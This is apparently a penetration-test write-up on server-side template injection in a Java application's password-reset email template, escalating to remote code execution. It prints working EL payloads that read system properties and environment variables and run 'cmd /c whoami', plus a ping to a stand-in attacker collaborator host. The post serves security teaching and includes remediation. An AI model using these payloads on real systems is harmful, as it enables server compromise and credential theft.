Post

Turning Email Template Injection into Remote Code Execution

Modern web applications rely heavily on automation. Email notifications, document processing alerts, and password recovery workflows are all common features designed to improve usability and streamline operations. Behind the scenes, these features often rely on dynamic templates that allow applications to insert variables into messages before they are sent to users.

While these templating mechanisms are extremely useful, they can also introduce severe security risks when implemented incorrectly. If user-controlled content is interpreted by the template engine rather than treated as plain text, it may allow malicious expressions to be executed on the server.

During a recent penetration test, we encountered exactly such a scenario. What initially appeared to be a routine email customisation feature eventually led to full remote command execution on the application server.

To understand how this seemingly minor oversight escalated into a system-wide compromise, we need to examine the specific class of vulnerability at play here: Server-Side Template Injection (SSTI).

SSTI occurs when user input is embedded into a server-side template and evaluated as part of the template logic. When this happens, threat actors may be able to inject expressions that the server executes during template rendering. Depending on the template engine and the available protections, this can lead to disclosure of sensitive information, manipulation of application behaviour, or, in severe cases, full remote code execution.

This case study highlights how the vulnerability was discovered, the challenges encountered in identifying the underlying template engine, and how exploitation progressed from simple expression evaluation to full command execution on the server.

Engagement Context

The assessed application was part of a platform that provides document distribution and communication services through both digital and physical delivery channels. Organisations use the platform to manage large volumes of documents and customer notifications sent by email and other delivery mechanisms.

As part of its functionality, the platform allowed administrators to configure the system’s email templates. These templates were used for automated notifications such as password resets and account-related alerts.

One feature in the administrative interface enabled administrators to enable password recovery emails and customise the content of the password reset message sent to users.

The default template looked as follows:

1
2
3
4
5
Hello!

You can reset your password by clicking the following URL:

${url}

The presence of the ${url} placeholder suggested that the application was using a server-side template engine to dynamically replace variables when generating the email.

At this point, it was not yet clear whether the template engine would treat all expressions inside ${} as executable logic or whether only predefined variables were allowed. However, this was an interesting enough observation to warrant further testing.

Initial Testing

Since the application allowed administrators to modify the email content, it provided a convenient testing surface. Any change to the template could be triggered by initiating a password reset request, after which the rendered email would be delivered to a test inbox.

This created a perfect feedback loop for experimentation.

The first step was to determine whether the template engine would evaluate arbitrary expressions or simply replace predefined variables.

To test this, we modified the email template and added the following simple arithmetic expression.

Payload: ${7*7}

image11.png

After saving the template, a password reset request was initiated to trigger the email generation process.

Shortly afterwards, the email arrived in the inbox.

Instead of showing the literal expression ${7*7}, the email contained the value: 49

image9.png

This confirmed that the template engine was actively evaluating expressions inside the template rather than treating them as plain text. In other words, the template editor was vulnerable to Server-Side Template Injection (SSTI).

While this confirmed the presence of SSTI, the next challenge was determining how powerful the template engine actually was.

Identifying the Template Engine

At this stage, the main objective was to identify which template engine was being used. Different engines expose different capabilities, and understanding the engine often determines whether the vulnerability can escalate to something more serious.

Since the application was clearly running on a Java-based backend, the first assumption was that the template engine might be something commonly used in Java environments.

We began testing expressions associated with various Java template engines.

One of the first attempts was to test syntax commonly associated with Freemarker.

Payload: ${"test"?upper_case}

image5.png

However, the password reset functionality triggered an error rather than producing the expected output.

image7.png

This suggested either that Freemarker was not being used or that the syntax was not supported in this environment.

We then tried expressions commonly used with Thymeleaf, another widely used Java template engine.

Payload: ${#dates.createNow()}

Again, the template rendering failed.

At this point, several attempts using known template syntax were producing inconsistent results. Some payloads produced errors, while others simply returned empty output. This made it difficult to immediately identify the underlying engine.

Instead of continuing with engine-specific payloads, we shifted the focus towards understanding what objects were accessible within the template environment.

A simple test was performed to see if Java objects could be referenced directly.

Payload: ${''.getClass()}

image6.png

When the email arrived, the output contained: class java.lang.String

image4.png

This was a significant breakthrough.

The expression demonstrated that the template engine allowed access to Java objects and reflection methods. This strongly indicated that the template environment was evaluating Java Expression Language (EL) style expressions.

Once this behaviour was confirmed, the next step was to test whether other Java classes could be accessed.

Gathering System Information

With access to Java classes confirmed, we began exploring whether system information could be retrieved.

The following expressions were used to retrieve the Java runtime version and the underlying operating system:

Java Version: ${''.getClass().forName('java.lang.System').getProperty('java.version')}

OS: ${''.getClass().forName('java.lang.System').getProperty('os.name')}

The resulting email revealed the Java version running on the server and the underlying operating system. The response indicated that the application server was running on Windows.

image3.png

Having confirmed that the template engine allowed interaction with core Java classes, we then attempted to retrieve environment variables.

Payload: ${''.getClass().forName('java.lang.System').getenv()}

The resulting email contained a large list of environment variables, including system paths, operating system details, and service account information.

image8.png

At this stage, the template engine was clearly capable of interacting with the runtime environment. The next logical step was to determine whether it could execute system commands.

Achieving Remote Code Execution

To verify command execution, we attempted to call Java’s Runtime.exec() method.

However, directly capturing command output can sometimes be difficult in template environments. To safely confirm command execution, we used an out-of-band technique involving Burp Collaborator.

The following payload was added to the email template:

${''.getClass().forName('java.lang.Runtime').getRuntime().exec('cmd /c ping attacker-domain.oastify.com')}

image10.png

If the command executed successfully, the server would attempt to resolve our collaborator domain.

After triggering the password reset process, a DNS interaction appeared in Burp Collaborator.

image2.png

This confirmed that the server executed the injected command, effectively granting remote code execution on the application server.

Retrieving Command Output

While DNS-based confirmation proved that commands were being executed, the next goal was to retrieve the actual output of executed commands.

This was achieved by reading the command’s input stream using Java’s Scanner class.

The following payload was used:

${new java.util.Scanner(''.getClass().forName('java.lang.Runtime').getRuntime().exec('cmd /c whoami').getInputStream()).useDelimiter("\\A").next()}

image1.png

Once the password reset email was triggered again, the command output appeared directly inside the email.

nt authority\local service

image12.png

At this point, arbitrary system commands could be executed and their results retrieved through the application.

In practice, a threat actor exploiting this vulnerability could execute system commands, access sensitive files, retrieve credentials, pivot into internal systems, or fully compromise the application environment, depending on the application service account’s privileges.

Remediation Strategies

Organisations should implement several defensive measures to prevent Server-Side Template Injection vulnerabilities.

Restrict template expression evaluation: User-editable templates should not allow unrestricted expression execution. Applications should limit template content to predefined placeholders rather than evaluating arbitrary user-supplied expressions.

Implement strict input validation: Any user-controlled input that becomes part of template content should be validated and sanitised before processing. Applications should ensure that special template characters or expression syntax cannot be injected through user-editable fields.

Use sandboxed template engines: Many template engines provide security controls or sandbox modes that prevent access to sensitive classes such as java.lang.Runtime, System, or reflection APIs. These restrictions should be enabled to prevent template expressions from interacting with the underlying runtime environment.

Apply the principle of least privilege: Application servers should run under service accounts with minimal operating system privileges. Even if a vulnerability such as SSTI is exploited, restricted privileges can significantly reduce the potential impact.

Perform regular security assessments: Features that allow dynamic content generation, such as template editors, should be carefully reviewed during security testing to ensure that user-controlled content cannot be interpreted as executable logic.

Key Takeaways

This case highlights how a seemingly harmless feature, email template customisation, can lead to a critical server compromise when input validation and template security controls are not properly implemented.

Server-Side Template Injection vulnerabilities are often underestimated, but as this case demonstrates, they can escalate rapidly from simple expression evaluation to full remote code execution.

References

This post is licensed under CC BY 4.0 by the author.